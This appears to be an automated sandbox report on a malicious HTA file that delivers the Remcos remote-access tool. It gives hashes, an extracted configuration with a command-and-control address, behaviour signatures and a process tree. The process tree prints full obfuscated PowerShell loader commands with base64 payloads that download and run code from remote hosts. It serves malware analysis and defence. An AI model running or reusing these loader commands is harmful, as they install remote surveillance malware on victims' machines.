Analysis

  • max time kernel
    147s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2025 13:26

General

  • Target

    specialgiftmakewithbestlovershegoodforbestthingsgood.hta

  • Size

    14KB

  • MD5

    e7a261ccc403f51d15952b9f81610ea6

  • SHA1

    c9166e929e81c09d6d1998b2e6a052546f18a440

  • SHA256

    70a1b6b8b689d6ed785e28002337fefc4933b61ae91fb12a023e01492081049e

  • SHA512

    e6b05d47dedc9601d500cfadfbe441d0ce4a89b81cd939d6f036469a5676cdac2481f233718e8e3e25f2ead7916e1cdabff9a4c25f65aacb0ca2a471d889daff

  • SSDEEP

    96:fCQGZ8MLI2eZ8MSI2bVqDO6Yjny1ixOZ8MgZ8MgfI2tZ8Mr:fCLNLfANSfRgPrAQN6NgffnNr

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

172.245.208.17:1070

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-RNTKSL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\specialgiftmakewithbestlovershegoodforbestthingsgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C POwERsHELl.eXE -eX BYPAss -Nop -w 1 -C DEvICECRedEnTiAlDEPLoYMenT ; IeX($(iEx('[sysTem.TEXT.encOdiNG]'+[CHAR]0X3a+[cHar]0x3a+'uTF8.geTStrING([SysteM.cONVeRT]'+[ChaR]58+[cHAR]58+'frOmBaSe64sTRing('+[CHAr]34+'JGJyd1luaUVCWmkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSRGVmaW5JVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3ZBT09mWmQsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHlIdGhUUWRKLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZNU1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG51QXpSdkJ5WVcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRY01mR0FYWkxrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwSVRPbXFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnJ3WW5pRUJaaTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE4NS4yOS4xMC4zMC82NzcvZ3JlYXRuaWNlaGluZ3NiZXR0ZXJ3aXRoZ29vZHRoaW5nc2Zvcm5ld3dheW9mYmVzdC5nSUYiLCIkRU5WOkFQUERBVEFcZ3JlYXRuaWNlaGluZ3NiZXR0ZXJ3aXRoZ29vZHRoaW5nc2Zvcm5ld3dheW9mYi52YnMiLDAsMCk7c1RhclQtc0xFRXAoMyk7SW52T0tlLWl0ZW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGdyZWF0bmljZWhpbmdzYmV0dGVyd2l0aGdvb2R0aGluZ3Nmb3JuZXd3YXlvZmIudmJzIg=='+[cHAr]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwERsHELl.eXE -eX BYPAss -Nop -w 1 -C DEvICECRedEnTiAlDEPLoYMenT ; IeX($(iEx('[sysTem.TEXT.encOdiNG]'+[CHAR]0X3a+[cHar]0x3a+'uTF8.geTStrING([SysteM.cONVeRT]'+[ChaR]58+[cHAR]58+'frOmBaSe64sTRing('+[CHAr]34+'JGJyd1luaUVCWmkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSRGVmaW5JVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3ZBT09mWmQsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHlIdGhUUWRKLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZNU1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG51QXpSdkJ5WVcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRY01mR0FYWkxrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwSVRPbXFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnJ3WW5pRUJaaTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE4NS4yOS4xMC4zMC82NzcvZ3JlYXRuaWNlaGluZ3NiZXR0ZXJ3aXRoZ29vZHRoaW5nc2Zvcm5ld3dheW9mYmVzdC5nSUYiLCIkRU5WOkFQUERBVEFcZ3JlYXRuaWNlaGluZ3NiZXR0ZXJ3aXRoZ29vZHRoaW5nc2Zvcm5ld3dheW9mYi52YnMiLDAsMCk7c1RhclQtc0xFRXAoMyk7SW52T0tlLWl0ZW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGdyZWF0bmljZWhpbmdzYmV0dGVyd2l0aGdvb2R0aGluZ3Nmb3JuZXd3YXlvZmIudmJzIg=='+[cHAr]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ovnyql1z\ovnyql1z.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1456
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8184.tmp" "c:\Users\Admin\AppData\Local\Temp\ovnyql1z\CSC107A93D7640A4FC3A370BF6AED4D39D3.TMP"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4948
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\greatnicehingsbetterwithgoodthingsfornewwayofb.vbs"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AdABzAGUAYgBmAG8AeQBhAHcAdwBlAG4AcgBvAGYAcwBnAG4AaQBoAHQAZABvAG8AZwBoAHQAaQB3AHIAZQB0AHQAZQBiAHMAZwBuAGkAaABlAGMAaQBuAHQAYQBlAHIAZwAvADcANwA2AC8AMAAzAC4AMAAxAC4AOQAyAC4ANQA4ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AMQAwADAAOAAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AagB6AHcARQBIAEEASgBQAHgASwBMAEwAegBnAFoARgBoAFkAVgBBAFEATQBBAE8ARQBOAEgAMQBRAHcAdgA4AGEAcwBFAG4ANAAzAHIATgBIADgAdwBPAGcAcQB4AGcATABOADUAeQBnAGcARQBLAGgAOQBFAGcAQQA5ADcARwBnAGMATABYAFEAZwAmAHAAawBfAHYAaQBkAD0AMwA0ADIAOAAwADMAZAAxAGMAYwA0AGUAMwBiADgAMAAxADcAMwA4ADgAOAAyADQAOQA1AGIANQBmAGUAOQBkACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbQBhAGkAbgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwBmAGEAbABzAGUAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAZgBhAGwAcwBlACcAKQApAA==')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:720
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
              6⤵
                PID:5020

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      9faf6f9cd1992cdebfd8e34b48ea9330

      SHA1

      ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

      SHA256

      0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

      SHA512

      05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      19KB

      MD5

      1d636f107301775aa74d40e96865e727

      SHA1

      9030d460d65b7cce6314d44bb87d71acb6aed08b

      SHA256

      3d3b348751ba0bd4a9e98a3123e65aae338f305cd60a290dd938e1b4f762625a

      SHA512

      bf73adf77adc560275c235ecd2ee5cdf8c10f39e18e12c7753963a854eeecbbbf03fe89b3e5630e024ee1a29766208a65fe7d8a0946002188655a029b285c1a8

    • C:\Users\Admin\AppData\Local\Temp\RES8184.tmp

      Filesize

      1KB

      MD5

      e006cf67af5c4f0a6b4fd717378e8d5a

      SHA1

      cdcbef78baaf284e4b17947a1453bca76a0e1082

      SHA256

      5be01836ab54bad91c17baca497d8aa2e1b9e73f17109b09700f8568d8d8733d

      SHA512

      b961828894a0b43c937390ca14c1497a1796a328d4dd9fc928f937b5ae13703379e509f25b6feff79618d133b06f763c9335b345804082961a018970f3655eda

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lvlkeeyj.4d5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\ovnyql1z\ovnyql1z.dll

      Filesize

      3KB

      MD5

      53cc174286f9c6d7cc2326f2602ee38c

      SHA1

      e31b3ec6d652b5f17b1c024ce0761d902302a0f9

      SHA256

      8058d74313a1e4c249f7f863ee0c08994a6ac7120106ad773e5c3264eb3e593a

      SHA512

      58f674deb656eb42b741ab2efc86ab246800dfc127068c6e46ca6723374af2594d5aaa7db3b23fd2981f021cc0a78143f2de4cd068c9e0bc16c73d34c4f7de2b

    • C:\Users\Admin\AppData\Roaming\greatnicehingsbetterwithgoodthingsfornewwayofb.vbs

      Filesize

      195KB

      MD5

      22149f3f69f6b23ef1368f1ca5ee8c36

      SHA1

      532b2e6bea80e33c5c6ce6a42a6277f061ca897e

      SHA256

      3dc045b58a5e12d588a87600428b8f3c051bf4a3875aafd19f4c1798a7117132

      SHA512

      817fbaff51ae892aaf9267e0166bdf7384aa7a8f12df8efe601cb7e9f71ecf8c2d26e31ddfd5943a7383d0bf6f03b7227e6b55c639e2b26b2f8394ca8c49b72a

    • \??\c:\Users\Admin\AppData\Local\Temp\ovnyql1z\CSC107A93D7640A4FC3A370BF6AED4D39D3.TMP

      Filesize

      652B

      MD5

      ec320405b290e6e28affadf5dfd27489

      SHA1

      ae1bad20174b2700f3eb55d3d565026e89c6f7fa

      SHA256

      16131a857009c8a715aaea6556e7fdcf095d72f780f26d8fa9ac4f918299ef81

      SHA512

      da505aafbebe29997267f968ca054f3663ada612c81989ff9f131a4573dd1a423f728ba41f488d8b73477112b42bd043ef44bb287a07c96631816c08f3d81876

    • \??\c:\Users\Admin\AppData\Local\Temp\ovnyql1z\ovnyql1z.0.cs

      Filesize

      488B

      MD5

      2c00e5ba50babb3432415a036131314a

      SHA1

      f3ed28f53d55ce8cd28a07f7e1cfeb6ce0df56b0

      SHA256

      9a198855c0cf764ca07f17c267574eabcbce69aa0378276eb3790d99228a6195

      SHA512

      c1f6139dbcbd160af0c2d26ee897a6ea1d8d0cf42544c8c2dc5efffcb021461a69eeb0f18decbbc36f4b203bc5f7dae275c3fa6118b642184a1b7a06cbb16c54

    • \??\c:\Users\Admin\AppData\Local\Temp\ovnyql1z\ovnyql1z.cmdline

      Filesize

      369B

      MD5

      779b0089328d8fc9915f8400d3c17de6

      SHA1

      9cca558439560bcb937c954b217c53a42541f5f5

      SHA256

      f50c0945efeda951a588c7dbe9c9a3b2b84b514c0e40b668f6ae3a2cebbeb302

      SHA512

      9b85f44a40fec4d06fae745c6bc17b21e874f90be601a8b882c19283095ad3f929318514f192ebafe5ff2d603d75c0b6e4b15c5dd0dfb8f47189c2544377bf7d

    • memory/720-75-0x0000000005770000-0x0000000005AC4000-memory.dmp

      Filesize

      3.3MB

    • memory/720-86-0x0000000004AA0000-0x0000000004AB2000-memory.dmp

      Filesize

      72KB

    • memory/720-87-0x0000000007290000-0x000000000732C000-memory.dmp

      Filesize

      624KB

    • memory/720-88-0x0000000004AD0000-0x0000000004AD6000-memory.dmp

      Filesize

      24KB

    • memory/3224-32-0x0000000007430000-0x000000000744E000-memory.dmp

      Filesize

      120KB

    • memory/3224-65-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-34-0x00000000076F0000-0x0000000007793000-memory.dmp

      Filesize

      652KB

    • memory/3224-22-0x000000006DA30000-0x000000006DD84000-memory.dmp

      Filesize

      3.3MB

    • memory/3224-20-0x00000000073F0000-0x0000000007422000-memory.dmp

      Filesize

      200KB

    • memory/3224-35-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-37-0x00000000077A0000-0x00000000077BA000-memory.dmp

      Filesize

      104KB

    • memory/3224-36-0x0000000007E20000-0x000000000849A000-memory.dmp

      Filesize

      6.5MB

    • memory/3224-38-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-39-0x0000000007800000-0x000000000780A000-memory.dmp

      Filesize

      40KB

    • memory/3224-40-0x0000000007A20000-0x0000000007AB6000-memory.dmp

      Filesize

      600KB

    • memory/3224-41-0x0000000007980000-0x0000000007991000-memory.dmp

      Filesize

      68KB

    • memory/3224-42-0x00000000079B0000-0x00000000079BE000-memory.dmp

      Filesize

      56KB

    • memory/3224-43-0x00000000079C0000-0x00000000079D4000-memory.dmp

      Filesize

      80KB

    • memory/3224-44-0x0000000007A00000-0x0000000007A1A000-memory.dmp

      Filesize

      104KB

    • memory/3224-45-0x00000000079F0000-0x00000000079F8000-memory.dmp

      Filesize

      32KB

    • memory/3224-33-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-21-0x000000006D890000-0x000000006D8DC000-memory.dmp

      Filesize

      304KB

    • memory/3224-19-0x00000000064E0000-0x000000000652C000-memory.dmp

      Filesize

      304KB

    • memory/3224-18-0x0000000006430000-0x000000000644E000-memory.dmp

      Filesize

      120KB

    • memory/3224-58-0x00000000079F0000-0x00000000079F8000-memory.dmp

      Filesize

      32KB

    • memory/3224-17-0x0000000005E50000-0x00000000061A4000-memory.dmp

      Filesize

      3.3MB

    • memory/3224-64-0x0000000070FDE000-0x0000000070FDF000-memory.dmp

      Filesize

      4KB

    • memory/3224-0-0x0000000070FDE000-0x0000000070FDF000-memory.dmp

      Filesize

      4KB

    • memory/3224-66-0x0000000007CB0000-0x0000000007CD2000-memory.dmp

      Filesize

      136KB

    • memory/3224-67-0x0000000008A50000-0x0000000008FF4000-memory.dmp

      Filesize

      5.6MB

    • memory/3224-6-0x0000000005D70000-0x0000000005DD6000-memory.dmp

      Filesize

      408KB

    • memory/3224-73-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-7-0x0000000005DE0000-0x0000000005E46000-memory.dmp

      Filesize

      408KB

    • memory/3224-4-0x00000000054F0000-0x0000000005512000-memory.dmp

      Filesize

      136KB

    • memory/3224-5-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-3-0x0000000005640000-0x0000000005C68000-memory.dmp

      Filesize

      6.2MB

    • memory/3224-2-0x0000000070FD0000-0x0000000071780000-memory.dmp

      Filesize

      7.7MB

    • memory/3224-1-0x0000000002E40000-0x0000000002E76000-memory.dmp

      Filesize

      216KB

    • memory/5020-89-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-90-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-93-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-92-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-95-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-94-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-96-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-97-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-98-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-99-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-100-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB

    • memory/5020-101-0x0000000000400000-0x0000000000480000-memory.dmp

      Filesize

      512KB